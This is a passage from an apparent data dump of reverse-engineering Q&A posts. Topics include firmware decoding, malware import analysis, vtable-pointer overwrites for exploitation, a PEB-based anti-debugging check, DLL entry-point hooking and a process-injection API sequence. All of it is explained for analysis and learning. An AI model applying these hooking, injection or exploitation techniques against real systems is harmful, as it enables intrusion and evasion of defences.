00 00 00 C3 CD 5C C6   HYGFK61A........\n</code></pre>\n\n<p>Bingo!  Since the firmware updater window title is \"HY USB Firmware Downloader\", I think this is a winner.  Loading the resulting file into IDA, Cortex M-0 Thumb 2 settings, and sure enough, we have valid code starting at offset 0x0120 and ASCII string block at offset 0x32121.</p>\n\n<p>Summary: Decode the .bin files by processing each byte as:</p>\n\n<pre><code>rotate left 4 bits and invert:  \nc = (((c &amp; 0x0f) &lt;&lt; 4) | ((c &amp; 0xf0) &gt;&gt; 4)) ^ 0xff\n</code></pre>\n"
    },
    {
        "Id": "5948",
        "CreationDate": "2014-07-28T05:30:06.883",
        "Body": "<p>I want to reverse engineer an application using HTTPS to communicate.</p>\n\n<p>I need a tool that performs a man in the middle attack and send it's own SSL certificate to the application, so I can decrypt the HTTPS connection it makes by passing the RSA private key to WireShark.</p>\n\n<p>By the way, I have heard about a tool called <a href=\"https://www.stunnel.org/index.html\" rel=\"nofollow\"><code>stunnel</code></a>, but the documentations  I found about how to configure it just confused me. :|</p>\n",
        "Title": "Using Stunnel to packet capture HTTPS connection",
        "Tags": "|sniffing|wireshark|https-protocol|",
        "Answer": "<p>An alternative approach would be to use the browser tools or a browser extension, such as Google Developer Tools for Chrome or Web Console for Firefox.  These tools will show you the entire request, response, and body of all network traffic and timeline of when connections are made. In Chrome, you can even edit the page content and review how it affects the page.  These are very powerful tools for reverse engineering the DOM and request structure. </p>\n"
    },
    {
        "Id": "5949",
        "CreationDate": "2014-07-28T05:37:13.850",
        "Body": "<p>I want to know how to find the functions which is interesting in malware tools.\nFor example, I have a sample of unknown virus (this sample is <code>lab01-01.exe</code> in the book practical malware analysis <code>lab1-01.dll</code>). It is not packed.</p>\n\n<p>I am supposed to find out what does this malware by knowing the imported DLLs and the functions it uses. Here are the imported functions in the executable file <code>lab01-01.exe</code>:</p>\n\n<pre><code>KERNEL32.dll :\nCloseHandle\nUnmapViewOfFile\nIsBadReadPtr\nMapViewOfFile\nCreateFileMappingA\nCreateFileA\nFindClose\nFindNextFileA\nFindFirstFileA\nCopyFileA\n</code></pre>\n\n<p>And from <code>MSVCRT.dll</code>:</p>\n\n<pre><code>_getmainards\n_p_initenv\n_p_commode\n_p_fmode\n_set_apps_typr\n_setusermatherr\n_adjust_fdiv\n_controlfp\n_except_handler3\n_exit\n_initterm\n_stricmp\n_XcptFilter\nexit\nmalloc\n</code></pre>\n\n<p>But, I didn't find any function imported from <code>lab01-01.dll</code>. </p>\n\n<p>I also want to know why, although the book mentioned that both the executable file and DLL are related (it should be imported).</p>\n",
        "Title": "How to figure out which imported function(s) in a virus determine its behaviour?",
        "Tags": "|windows|malware|static-analysis|dll|pe|",
        "Answer": "<p>While others have already provided some answers, I would like to add some additional points.</p>\n\n<p>You could code a pintool (DBI) which logs all the API calls. You could add some filters in your pintool to reduce the amount of API calls you log. Using a pintool has an advantage since anti debugging techniques used by malwares would not have an effect on it. Of course, we are assuming that the malware is not trying to protect itself from DBI frameworks. However, if you set breakpoints on LoadLibrary and GetProcAddress to see which libraries are loaded dynamically and which function addresses are resolved, you could be effected by anti debugging techniques used by the malware. Before you hit the breakpoint, the malware would have already discovered that it is being debugged and alter the program flow.</p>\n\n<p>I would suggest you not to conclude the functionality of a  malware only by looking at the API names imported from different modules. A sequence of API calls can sometimes indicate malicious activity. For instance,</p>\n\n<pre><code>CreateProcessW\nVirtualAllocEx\nWriteProcessMemory\nWriteProcessMemory\nGetThreadContext\nSetThreadContext\nResumeThread\n</code></pre>\n\n<p>Now, you could see these API names imported from kernel32.dll when you open the binary in a software like CFF explorer, however to conclude the usage of these APIs, an API trace would help. In this case, it is a standard method used by several binaries to perform code injection into the address space of another process.</p>\n"
    },
    {
        "Id": "5956",
        "CreationDate": "2014-07-28T12:26:34.920",
        "Body": "<p>Actually, I am trying to learn a little about vtable overflows. So, my learning documents state the following: </p>\n\n<blockquote>\n  <p>The main point to realize is that whenever we declare a C++  class\n  with virtual methods, the pool of memory where it exists (the heap,\n  the stack, etc.) now contains a pointer to a function pointer table\n  which will eventually be used to call the function. In the event of an\n  overflow, we can overwrite this pointer value so that our code will be\n  called the next time a virtual method is called.</p>\n</blockquote>\n\n<p>So, my question is, how do I find the location of the vtable pointer ? </p>\n\n<p>I mean, do I have to search through PEB like when I am trying to find the base address from some modules. Or, is this specific for each situation ?</p>\n",
        "Title": "How to find the location of the vtable?",
        "Tags": "|debuggers|c++|vtables|",
        "Answer": "<p>This is compiler dependent - the compiler may place the vtable wherever it wants to, as long as it does it consistently. However, in most cases, the vtable pointer is the first element (at offset 0) of the generated structure.</p>\n\n<pre><code>class test {\n    int a;\n    int b;\n    test()          { ...; }\n    ~test()         { ...; }\n    void somefunc() { ...; }\n    int c;\n}\n</code></pre>\n\n<p>would use this memory layout for the class:</p>\n\n<pre><code>+----------------+               +--------------+\n|  vtable        | ------------&gt; | test         |\n+----------------+               +--------------+\n|  a             |               | ~test        |\n+----------------+               +--------------+\n|  b             |               | somefunc     |\n+----------------+               +--------------+\n|  c             |\n+----------------+\n</code></pre>\n\n<p>so (assuming pointers and integers are all 4 bytes), the vtable is at offset 0, a at 4, b at 8 and c at 12.</p>\n\n<p>Note that not all compilers use this convention. For example, the Watcom C++ 386 compiler didn't use a vtable at all, but mixed the function pointers with data. (I know this case because i once disassembled a game that was compiled with Watcom 20 years ago. Not that i expect you to ever see this kind of layout in a modern compiler, just to provide an example that it can be different):</p>\n\n<pre><code>+----------------+\n|  test          |\n+----------------+\n|  ~test         |\n+----------------+\n|  a             |\n+----------------+\n|  b             |\n+----------------+\n|  somefunc      |\n+----------------+\n|  c             |\n+----------------+\n</code></pre>\n\n<p>The entries at offset 0 and 4 (again, assuming 4 byte integers/pointers) are the parameterless constructor and destructor function of the class, the rest is a mix of variables and methods in the order they appear in the class definition. Of course, this is horribly inefficient, because the compiler has to initialize every class method whenever an object is instantiated, instead of just setting one pointer to the vtable.</p>\n\n<p>TL;DR: In most cases, the vtable pointer is the first element of the class structure, but you really need to know which compiler was used and which conventions this compiler has.</p>\n\n<p>Another thing - you talk about a \"vtable overflow\" in your original post. Your \"normal\" exploit doesn't overflow a vtable; the vtables are pre-initialized when your program starts, and (normally) never ever change. To write an exploit, you would either:</p>\n\n<ol>\n<li>use a buffer overflow to modify a function pointer in a vtable, so the next time the class method gets called, your code is executed instead</li>\n<li>use a buffer overflow to modify the vtable pointer of a class instance, so the next time this class instance executes a method, your vtable is used instead of the other one.</li>\n</ol>\n\n<p>As vtables normally don't change, and may even be placed in a read-only memory segment by the compiler, your normal exploit ignores 1. and uses 2.</p>\n"
    },
    {
        "Id": "5972",
        "CreationDate": "2014-07-29T15:30:35.310",
        "Body": "<p>While viewing the PE headers and imported functions of some programs designed with visual C. I found that they all include one of these functions:</p>\n\n<ul>\n<li><code>MSVCRT.DLL</code></li>\n<li><code>MSVCR80.DLL</code></li>\n<li><code>MSVCR90.DLL</code></li>\n<li><code>MSVCR100D.DLL</code></li>\n<li><code>MSVCRT20.DLL</code></li>\n<li><code>MSVCRT40.DLL</code></li>\n<li>And other DLLs which starts with the MSVC prefix.</li>\n</ul>\n\n<p>Does this mean that any program (even malware) that imports any of these functions must be compiled by MSVC ?</p>\n",
        "Title": "Does MSVCXXX.dll means that the PE file is compiled by Microsoft Visual C?",
        "Tags": "|disassembly|c++|c|pe|",
        "Answer": "<p>\"Extremely unlikely and uncommon\" sounds exactly like something malware would try/strive for.  </p>\n\n<p>Using normal WinAPI functions, as a distraction for the reverser or a time-wasting mechanism against an emulator, in malware packers is common <a href=\"http://www.mcafee.com/au/resources/reports/rp-packer-layers-rogue-antivirus-programs.pdf\" rel=\"nofollow\"></a>.<br>\nThere is no reason for not using msvcrt.dll functions (However one cannot count on Redistributable Packs for Visual Studio X being installed so the presence of msvcrt90.dll and similar is a flag against it being malware), so the presence of msvcrt* is not reliable at all.</p>\n\n<p>Entry-point signature, Rich signature or the debug directory would be better choices.</p>\n\n<p>Just quickly: Those with a D are the debug versions. </p>\n"
    },
    {
        "Id": "5978",
        "CreationDate": "2014-07-29T18:13:20.037",
        "Body": "<p>I'm analyzing entries in the relocation section of a binary. In particular, I want to know if all the targets of jumps have a corresponding entry in the relocation section. The screenshot shows the relocation section entries of the binary I'm analyzing, to the left, as well as the assembly code of the binary showing only the jump instructions, to the right. </p>\n\n<p><img src=\"https://i.stack.imgur.com/bwKfF.png\" alt=\"Relocation section and disassembly of binary\"></p>\n\n<p>From what I understand, the first instruction in the assembly code at address 0x40be04 (jmp *0x4f422c) should have an entry in the relocation section. However, the last entry in the relocation section is for address 0x401fee.</p>\n\n<p>Why don't some addresses have an entry in the relocation section? Am I misunderstanding something in my analysis?</p>\n\n<p>P.S: The screenshot shows the binary disassembled using objdump on cygwin. The relocation section entries were generated using PE-Parser (<a href=\"https://github.com/trailofbits/pe-parse\" rel=\"nofollow noreferrer\">https://github.com/trailofbits/pe-parse</a>)</p>\n",
        "Title": "Missing addresses from relocation section of ASLR enabled PE binary",
        "Tags": "|binary-analysis|binary-format|",
        "Answer": "<p>There are a couple of possiblities here.</p>\n\n<p>One possibility is that the relocation table has been truncated, so you see only the first page of relocation items (the table is an array of items on a per-page basis).</p>\n\n<p>Another possiblity is that the file doesn't support ASLR (perhaps intentionally, or perhaps it is assumed to not exist) so the relocation table isn't parsed.  This would allow the address at 0x40be04 to execute even in the absence of a relocation item, because the image will never be loaded to another address.</p>\n\n<p>Further, the disassembly itself looks strange, as though the file is obfuscated.  If so, then it is quite possible that the author of the obfuscator does not take ASLR into account, and so did not bother to add relocation items for the relevant jump.</p>\n"
    },
    {
        "Id": "5984",
        "CreationDate": "2014-07-31T01:28:02.850",
        "Body": "<p>So basically I am writing some code to do analysis work on disassembled assembly code.</p>\n\n<p>I am trapped in this issue for a while, here is an simple example of a disassembled asm code by objdump, basically all the address symbols have been translated into concrete value.</p>\n\n<pre><code>1. mov 0x8408080, %eax\n2. ....\n3. call *%eax\n</code></pre>\n\n<p>So basically for the above example, it is easy to determine that <code>0x8408080</code> used in line 1 is an address of code, and I know it is relatively easy to heuristically consider all the value falling into the range of <code>.text section</code> as a pointer. </p>\n\n<p>However, how to use static analysis to automatically identify this issue? (I want to write a tool to analyze large amount of code as accurate as possible)</p>\n\n<p>I know somehow I should use <strong>constant propagation</strong> to forwardly do the analysis, but  basically as I am new to program analysis, I just don't know actually where to start..</p>\n\n<p>Does anyone have experiences like this? Or is there any implemented tools I can look for help..?</p>\n",
        "Title": "How to do static analysis to identify pointer from concrete value in assembly?",
        "Tags": "|disassembly|assembly|x86|static-analysis|",
        "Answer": "<p>Basically, distinguish between values, addresses and instruction is the role of a <strong>type recovery system</strong>.</p>\n\n<p>There is an excellent seminal paper from Alan Mycroft about a technique called <a href=\"http://www.cl.cam.ac.uk/~am21/papers/esop99.ps.gz\" rel=\"nofollow\">type-based decompilation</a> (ESOP'99) which might give you some ideas on how to do.</p>\n\n<p>Another, more recent, paper describes the technique that is currently used in the <a href=\"http://users.ece.cmu.edu/~ejschwar/pres/usenix13.pdf\" rel=\"nofollow\">Phoenix decompiler</a> which is called: <a href=\"http://users.ece.cmu.edu/~aavgerin/papers/tie-ndss-2011.pdf\" rel=\"nofollow\">TIE: Principled Reverse Engineering of Types in Binary Programs</a> (NDSS'11) written by people from CMU and that give an in-depth of the technique they use.</p>\n\n<p>Apart from that, the reconstruction of the <em>shape</em> of the types (array, struct, etc.) can be done by using the <a href=\"https://research.cs.wisc.edu/wpis/papers/vmcai07.invited.pdf\" rel=\"nofollow\">DIVINE technique</a> (VMCAI'07) by Reps and Balakrishnan. A more extensive <a href=\"http://pages.cs.wisc.edu/~bgogul/Research/Journal/toplas10.pdf\" rel=\"nofollow\">journal paper</a> (TOPLAS'10) has been also published by both authors that gather all their work about the topic.</p>\n\n<p>Still, there are a lot of other works on this domain, but I believe the papers I cited above to be, more or less, the current trend in the 'type-recovery' domain.</p>\n"
    },
    {
        "Id": "5993",
        "CreationDate": "2014-07-31T18:45:55.150",
        "Body": "<p>I've been trying to figure how a html5 browser like chrome or firefox performs geolocation under the hood but I'm running into some difficulties.</p>\n\n<h2>Difficulties</h2>\n\n<p>To be more precise, I want to know what happens when a piece of javascript calls <code>navigator.geolocation.getCurrentPosition (success_func)</code> but <em>before</em> <code>success_func</code> actually gets called back. I want to know how the browser goes about obtaining the latitude and longitude coordinates. What's the protocol it uses? What servers does it query to obtain this information? etc.</p>\n\n<p>Here's what I have determined and tried:</p>\n\n<ul>\n<li>Chrome and Firefox uses the MAC of nearby wifi access points to obtain geolocation by sending it to googlesapi.com. It is this MAC-wifi based implementation I am most interested in.</li>\n<li>By the time <code>success_func</code> gets called, the browser has already obtained the geolocation data.</li>\n<li>I made limited progress using proxy and packet captures like tcpcatcher and wireshark. I see a query is being made to <code>googleapis.com:443</code> but of course it's over tls/ssl which means I can't read it. (using ssl monitor in tcpcatcher causes geoloc to fail in browser)</li>\n<li>I tried using builtin devtool and console in browser but it seems to omit the communication that grabs the geoloc data. For example, using chrome's devtool (<kbd>ctrl</kbd>+<kbd>shift</kbd>+<kbd>I</kbd>), it does not show any <code>CONNECT</code> methods or connections to <code>googleapis.com</code> even though tcpcatcher clearly captures that during geolocation.</li>\n<li>I've tried looking at the source to determine this but not having much luck. The problem is that browser codebases are just humongous and locating the pertinent class and source files would be difficult especially since I'm unfamiliar with their overall design. grepping for interesting keywords only goes so far.</li>\n</ul>\n\n<p>If you guys were trying to determine and reverse the protocol a given browser uses to implement geolocation how would you guys proceed?</p>\n\n<h2>Other Resources</h2>\n\n<p>Here are some things I've already looked at that I found helpful:</p>\n\n<ul>\n<li><a href=\"http://samy.pl/mapxss/\" rel=\"nofollow noreferrer\">http://samy.pl/mapxss/</a></li>\n<li><a href=\"https://stackoverflow.com/questions/3041113/how-exactly-does-html5s-geolocation-work\">https://stackoverflow.com/questions/3041113/how-exactly-does-html5s-geolocation-work</a></li>\n</ul>\n\n<p>The problem is some of the info mentioned there is out-of-date and no longer accurate. My aim now is to figure out exactly what changed and how an external custom application can use this protocol itself for geolocation.</p>\n",
        "Title": "How to identify HTML5 geolocation protocol of a browser?",
        "Tags": "|tools|protocol|",
        "Answer": "<p>For Firefox (i.e. Gecko) and Chrome (i.e. Blink) you can just look in the source code:</p>\n\n<p>Searching the Firefox codebase for <code>getCurrentPosition</code> yields the source file <a href=\"http://dxr.mozilla.org/mozilla-central/source/dom/src/geolocation/nsGeolocation.cpp#697\" rel=\"nofollow\">nsGeolocation.cpp</a>. As you see in the linked source line, it creates an instance of a geolocation provider. Assuming Firefox for Desktop, there is only the <a href=\"http://dxr.mozilla.org/mozilla-central/source/dom/system/NetworkGeolocationProvider.js\" rel=\"nofollow\">NetworkGeolocationProvider</a> (FirefoxOS may also use GPS).</p>\n\n<p>In essence, Gecko opens an XMLHttpRequest to the URL specified in <code>about:config</code> as <code>geo.wifi.uri</code>. Per default this is <code>https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_API_KEY%</code>.</p>\n\n<p>Blink performs its http request in <a href=\"https://code.google.com/p/chromium/codesearch#chromium/src/content/browser/geolocation/network_location_request.cc\" rel=\"nofollow\">network_location_request.cc</a>, with the same API endpoint defined as in Firefox (cf. <a href=\"https://code.google.com/p/chromium/codesearch#chromium/src/content/browser/geolocation/location_arbitrator_impl.cc&amp;rcl=1407097784&amp;l=43\" rel=\"nofollow\">location_arbitrator_impl.cc</a>).</p>\n\n<p>(NB: I looked at Gecko HG revision a4f779bd7cc2 and Blink SVN revision 287303)</p>\n"
    },
    {
        "Id": "5995",
        "CreationDate": "2014-08-01T03:58:03.317",
        "Body": "<p>I am learning some gdb and it is covering examining arrays. There is the following code, and I see it is 4 bytes, and how <code>a[1] = 2</code> in an array <code>int a[] = {1,2,3}</code></p>\n\n<pre><code>(gdb) x/4xb a + 1\n0x7fff5fbff570: 0x02  0x00  0x00  0x00\n</code></pre>\n\n<p>But what if a was greater than what could be shown by a single hex byte? Then how does it work for the second part? Sorry if this is unclear, I don't know how tow ord it exactly.</p>\n",
        "Title": "Hex representation of integer values in excess of FF (255)",
        "Tags": "|gdb|",
        "Answer": "<p>I think you have two questions here.  The first part is how to convert from decimal to hexadecimal and back; the second part is how a multi-byte value is represented in memory.  Guntram Blohm's answer covers the first part in detail, and I'll try to muddle through an answer to the second here.</p>\n\n<p>So, consider a multi-byte hexadecimal number...ABCD, where each letter represents a byte.  So for example in 0x03B87C43 A represents 0x03, B represents 0xB8, C represents 7C and D represent 0x43.  Finally, D is referred to as the low-order byte.  </p>\n\n<p>Now, the various bytes can be arranged in different ways in memory; and there are two major forms that are currently in use today:</p>\n\n<p><strong>little-endian</strong> form:</p>\n\n<p>The low-order byte is placed at the lowest memory address, thus our example number would be\nstored in memory thusly:</p>\n\n<pre><code> 1000  1001  1002  1003   &lt;----- memory addresses, notional     \n+-----+-----+-----+-----+\n|  D  |  C  |  B  |  A  |\n+-----+-----+-----+-----+\n</code></pre>\n\n<p>Intel processors use this form of storing multi-byte numbers.</p>\n\n<p><strong>big-endian</strong> form:</p>\n\n<p>The low-order byte is placed at the highest memory address, thus our example number would be \nstored in memory thusly:</p>\n\n<pre><code> 1000  1001  1002  1003   &lt;----- memory addresses, notional     \n+-----+-----+-----+-----+\n|  A  |  B  |  C  |  D  |\n+-----+-----+-----+-----+\n</code></pre>\n\n<p>Non-Intel SUN workstations use this form (IIRC they use a Motorola processor).</p>\n\n<p>other forms.</p>\n\n<p>just about any other arrangement can be used.  For example, PDP-11 used a system where \na 32-bit value was stored in little-endian format, with the exception of each byte of the 16-bit half was swapped.  Thus our sample number would be stored in memory as:</p>\n\n<pre><code> 1000  1001  1002  1003   &lt;----- memory addresses, notional     \n+-----+-----+-----+-----+\n|  C  |  D  |  A  |  B  |\n+-----+-----+-----+-----+\n</code></pre>\n\n<p>Hope this helps a bit.</p>\n"
    },
    {
        "Id": "5998",
        "CreationDate": "2014-08-01T16:05:48.347",
        "Body": "<p>Are there any technical hurdles to implementing floating point support in re-oriented intermediate languages? I ask because none seem to support it, but give few reasons why. The only comment on the topic I've seen is from Sebastian Porst who in 2010 merely said</p>\n\n<blockquote>\n  <p>REIL is primarily made to find security-relevant bugs in code. FPU code pretty much never plays a role in such code.</p>\n</blockquote>\n",
        "Title": "Floating point in RE intermediate languages like vine il, bap il, and google/zynamics reil",
        "Tags": "|static-analysis|",
        "Answer": "<p>Floating point support is possible.  I think there are two reasons why it's not common:</p>\n\n<ul>\n<li><p>Most applications of binary ILs don't work with floating point.  For example, most SMT solvers only have support for integer arithmetic operations.  Modeling behavior is not very useful if one cannot reason about it.</p></li>\n<li><p>There are not many mature libraries for arbitrary precision floating point code that can be readily pulled into these projects.</p></li>\n</ul>\n"
    },
    {
        "Id": "5999",
        "CreationDate": "2014-08-01T17:30:52.570",
        "Body": "<p>I found a tool for Linux called <a href=\"http://www.inetsim.org/about.html\" rel=\"nofollow\">INetSim</a> which emulates services such as HTTP HTTPS IRC and many other. It is often used to trick malware. The problem is that INetSim works only on Linux. So I want Windows based tool for Win 7 32bit which is alternative to this ( I prefer a gui one ) </p>\n",
        "Title": "Are there any Windows alternatives to INetSim?",
        "Tags": "|tools|dynamic-analysis|",
        "Answer": "<p>Not a GUI tool, but <a href=\"http://practicalmalwareanalysis.com/fakenet/\" rel=\"noreferrer\">FakeNet</a> is a good alternative.</p>\n\n<blockquote>\n  <p>FakeNet is a tool that aids in the dynamic analysis of malicious\n  software.  The tool simulates a network so that malware interacting\n  with a remote host continues to run allowing the analyst to observe\n  the malware\u2019s network activity from within a safe environment.  The\n  goal of the project is to:</p>\n\n<pre><code>- Be easy to install and use; the tool runs on Windows and requires no 3rd party libraries\n- Support the most common protocols used by malware\n- Perform all activity on the local machine to avoid the need for a second virtual machine\n- Provide python extensions for adding new or custom protocols\n- Keep the malware running so that you can observe as much of its functionality as possible\n- Have a flexible configuration, but no required configuration\n</code></pre>\n</blockquote>\n\n<p><a href=\"https://www.mandiant.com/resources/download/research-tool-mandiant-apatedns\" rel=\"noreferrer\">Mandiant's ApateDNS</a> is a good tool for responding with fake DNS response:</p>\n\n<blockquote>\n  <p>Mandiant ApateDNS is a tool for controlling DNS responses though an\n  easy to use GUI. As a phony DNS server, Mandiant ApateDNS spoofs DNS\n  responses to a user-specified IP address by listening on UDP port 53\n  on the local machine. Mandiant ApateDNS also automatically sets the\n  local DNS to localhost. Upon exiting the tool, it sets back the\n  original local DNS settings.</p>\n</blockquote>\n\n<p><img src=\"https://i.stack.imgur.com/c0ETV.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "6012",
        "CreationDate": "2014-08-03T08:45:57.663",
        "Body": "<p>While checking the PE header of DLLs and EXE(s) by PEviewer, I found  something called \"<em>magic number</em>\". </p>\n\n<p>After googling \"<em>magic number</em>\". I found that it is used to determine the file type. My question is how can a malware analysist benefits from this magic number ? And why is it in the PE header ?</p>\n",
        "Title": "Is the magic number important",
        "Tags": "|static-analysis|pe|",
        "Answer": "<p>A <em>magic number</em> is a set of bytes used when accessing a file to determine its type. For example, the standard Microsoft PE begins with (in ASCII) <code>MZ</code>, the initials of one of the developers of MS-DOS.</p>\n\n<p>The initial headers in a portable executable specify a variety of information regarding the file, ranging from the supported platform, number of symbols, number of sections, time stamps, etc. As such, it is a logical location to store the magic number, as it is also part of the file metadata.</p>\n\n<blockquote>\n  <p>How can a malware analyst benefit from this magic number?</p>\n</blockquote>\n\n<p>The only information the magic number provides is the file type, and as such that is all that can be garnered by a malware analyst, or any type of analysis. Although one can refer to the file extension to check a file type, they can be changed without affecting the contents of the file. As such, checking the magic number is a method to determine the true file type. Discrepancies would then indicate potential malicious behavior or attempts to hide data.</p>\n"
    },
    {
        "Id": "6018",
        "CreationDate": "2014-08-03T20:17:39.410",
        "Body": "<p>I have written a C API with support for static import hooking via overwriting the corresponding IAT entry of an exported function. It works nicely for older simple applications, but for more modern applications, it is less effective. This is primarily due to the large amount of applications nowadays that dynamically import functions. </p>\n\n<p>My solution to this problem was to create the process in an initial suspended state and then hook the <code>LoadLibrary(Ex)(A/W)</code>  family of functions along with <code>GetProcAddress()</code> to replace the retrieved address of a target function with my own. That solution is limited in part due to the fact that it is based off the application only importing dynamic functions and libraries in the executable module, without working for processes created later ( although that could be solved by hooking <code>CreateProcess()</code> ) or more importantly, <strong>it doesn't handle the DLLs in the application that also call the target functions I want to hook</strong>. This is obviously because the DLLs have a separate import section in their own PE from the executable module. </p>\n\n<p>Which brings me to my question, <em>how do I hook the entry point of a DLL</em>? I want to implement that method because I need the DLL to be bound to the libraries it imports statically, so I can hook  the LoadLibrary/GetProcAddress functions in before the DLL has a chance to load/import them in DLLMain. I'm assuming there is a way to do this by changing the entry point of the DLL, or by hooking a lower level function that handles calling a DLL entry point in kernel32.dll. </p>\n\n<p>If the method I'm requesting has a better alternative, then I would gladly accept that solution as well if it achieves my desired effect.</p>\n\n<p>My processor is an AMD Athlon II X2 250 that is x86-x64 compatible, and my operating system is Windows 7.</p>\n",
        "Title": "How to hook the entry point of a DLL?",
        "Tags": "|windows|c|dll|pe|function-hooking|",
        "Answer": "<p>To answer the original question, what you can do is to hook <a href=\"http://doxygen.reactos.org/d8/d55/ldrutils_8c_a8fabcfb642b2788989401d1ac7cee130.html\" rel=\"nofollow\"><code>LdrpCallInitRoutine</code></a> in <code>ntdll.dll</code>. This function is used by DLL loading/unloading code to actually call the DLL entry point (<code>DllMain</code>) and also the TLS callbacks. The first argument is the address to be called:</p>\n\n<pre><code>BOOLEAN NTAPI LdrpCallInitRoutine(PDLL_INIT_ROUTINE EntryPoint, PVOID BaseAddress, ULONG Reason, PVOID Context);\n</code></pre>\n"
    },
    {
        "Id": "6024",
        "CreationDate": "2014-08-05T18:18:22.163",
        "Body": "<p>While reading a book it mentioned that the following code is usually used to as an antidebugger </p>\n\n<pre><code>mov     eax,   large fs:18h\nmov     eax,   [eax+30h]\nmovzx   eax,   byte ptr [eax+2]\nretn\n</code></pre>\n\n<p>I don't understand what are the keywords <code>large</code> , <code>byte</code>, <code>ptr</code> and <code>retn</code>. I am new learner of assembly and its usage in malware.</p>\n",
        "Title": "How does this test for debugger",
        "Tags": "|assembly|malware|anti-debugging|",
        "Answer": "<p>The syntax is incorrect, but the code is basically what IsDebuggerPresent does.</p>\n\n<ol>\n<li>Get a pointer to the <a href=\"http://en.wikipedia.org/wiki/Thread_Environment_Block\" rel=\"nofollow\">TEB</a> (located at fs:18h)</li>\n<li>Get a pointer to the <a href=\"http://en.wikipedia.org/wiki/Process_Environment_Block\" rel=\"nofollow\">PEB</a> (located at teb+30h)</li>\n<li>Check the BeingDebugged flag (located at peb+2)</li>\n</ol>\n\n<p>The syntax should be something like:</p>\n\n<pre><code>mov     eax, large fs:18h\nmov     eax, [eax+30h]\nmovzx   eax, byte ptr [eax+2]\n</code></pre>\n\n<p>If you don't understand assembler syntax, though, you're generally going to have a bad time when analyzing malware.</p>\n"
    },
    {
        "Id": "6026",
        "CreationDate": "2014-08-06T08:22:41.997",
        "Body": "<p>I am newbie in IDA Pro. I have a basic question, what is the difference between instruction and function in IDA Pro? Is function contains some instructions on it ?!</p>\n\n<p>Thanks in advance :)</p>\n",
        "Title": "Difference between Instruction and Function in IDA Pro",
        "Tags": "|ida|",
        "Answer": "<p>An instruction is bytes that can be decoded. They may or may not be real instruction by virtue of not being called. Might be data that looks like possible code. </p>\n\n<p>Functions is instructions that have been indicated are called and this is the start. The indication might be a user action like pressing <kbd>P</kbd> or <kbd>auto analysis</kbd> following call locations in other code/functions. </p>\n\n<p>But, in either case you can tell IDA that something is or is not code or functions. The only trick is if some bytes of a function are not valid instructions, then IDA will not lets you create a function. </p>\n"
    },
    {
        "Id": "6029",
        "CreationDate": "2014-08-06T15:59:41.050",
        "Body": "<p>I disassembled a C# program with ildasm and modified the il code to my needs but now when i try to assemble it back into an exe i get these errors:</p>\n\n<pre><code>Cannot compile native/unmanaged method\nLocal (embedded native) PInvoke method, the resulting PE file is unusable\n</code></pre>\n\n<p>I have generated a snk file and tried to use that with ilasm but i still get the same errors.</p>\n\n<p>EDIT: These errors were given by ilasm when i try to reassemble the .il file. I also tried to edit the code in Reflector but after editing and trying to save it says that it cannot save mixed mode assemblies. Maybe i would be able to edit the binary in HEX editor?</p>\n",
        "Title": "Cannot compile native/unmanaged method",
        "Tags": "|c#|",
        "Answer": "<p>Depending how extensive your modifications are, the way I've always done it was to only compile the snippet you want to inject (or manually convert the OpCodes) and patch the existing binary rather than recompile</p>\n\n<p>also, IlSpy may be easier for what you want as you can simply go:</p>\n\n<p>.net binary > c# decompiled > .net binary</p>\n\n<p><a href=\"http://ilspy.net\" rel=\"nofollow\">http://ilspy.net</a></p>\n"
    },
    {
        "Id": "6037",
        "CreationDate": "2014-08-07T15:22:05.090",
        "Body": "<p>DOSbox compiled with <code>--enable-debug=heavy</code> option becomes a powerful reversing tool. Anytime I feel like checking the disassembly and memory state I just hit <kbd>Alt</kbd>+<kbd>Pause</kbd>.</p>\n\n<p>But, what if I want to see the very first instructions of the program ? How do I start the application so that it immediately enters debug mode before even starting execution ?</p>\n",
        "Title": "How to start a DOS application in DOSbox in debug mode?",
        "Tags": "|disassembly|debugging|dos|",
        "Answer": "<p>If you build with <code>--enable-debug[=heavy]</code> and run the program via debug.com, it automatically breaks on the first instruction. See the <code>DOS_Execute</code> function in <a href=\"https://github.com/Henne/dosbox-svn/blob/master/src/dos/dos_execute.cpp#L479\" rel=\"noreferrer\">src/dos/dos_execute.cpp</a> and <code>DEBUG_CheckExecuteBreakpoint</code> in <a href=\"https://github.com/Henne/dosbox-svn/blob/master/src/debug/debug.cpp#L2080\" rel=\"noreferrer\">src/debug/debug.cpp</a>.</p>\n"
    },
    {
        "Id": "6040",
        "CreationDate": "2014-08-08T08:42:06.503",
        "Body": "<p>How to check if Windows executable is 64-bit reading only its binary. Without executing it and not using any tools like the SDK tool <a href=\"http://msdn.microsoft.com/en-us/library/c1h23y6c.aspx\"><code>dumpbin.exe</code></a> with the <code>/headers</code> option.</p>\n",
        "Title": "Check if exe is 64-bit",
        "Tags": "|windows|pe|executable|",
        "Answer": "<p>Here's a fun, quick little trick if in a Windows environment and you're checking for an x86 or x64 binary:</p>\n\n<ol>\n<li>Right-click on the application.</li>\n<li>Click <code>Properties</code>.</li>\n<li>Click the <code>Compatibility</code> tab.</li>\n<li>In the <code>Compatibility mode</code> section, check the <code>Run this program in compatibility mode for:</code> box.</li>\n<li>If you see <code>Windows 95</code> as an option from the drop-down, then it's a 32-bit application. If you do not, then it's a 64-bit application.</li>\n</ol>\n"
    },
    {
        "Id": "6048",
        "CreationDate": "2014-08-10T12:16:12.517",
        "Body": "<p>I'm using IDA to disassemble <a href=\"http://www.myabandonware.com/game/test-drive-iii-the-passion-119\" rel=\"nofollow\">Test Drive III</a>. It's a 1990 DOS game. The *.EXE has MZ format.</p>\n\n<p>The game uses a number of anti-reversing features such as copying its code to segment <code>(PSPseg+2be7)</code> where <code>PSPseg</code> is the initial value of <code>ES</code> (i.e. the segment where PSP resides). As far as I know, <a href=\"http://en.wikipedia.org/wiki/COM_file\" rel=\"nofollow\">COM executables</a> are always loaded right after the end of <a href=\"http://en.wikipedia.org/wiki/Program_Segment_Prefix\" rel=\"nofollow\"><code>Program Segment Prefix (PSP)</code></a>, so that both PSP and exe fit into one segment. What about MZ executables? Is there any fixed place where application's PSP is located relatively to the application itself?</p>\n\n<p>In other words, is the <code>base-PSPseg</code> offset always the same? On my <a href=\"http://www.dosbox.com/\" rel=\"nofollow\">DOSBox</a> at the start of the program execution <code>CS</code> is always <code>0x22CF</code>, <code>ES=DS=0x01FE</code>, <code>CS0</code> in the MZ header is <code>0x20C1</code>, 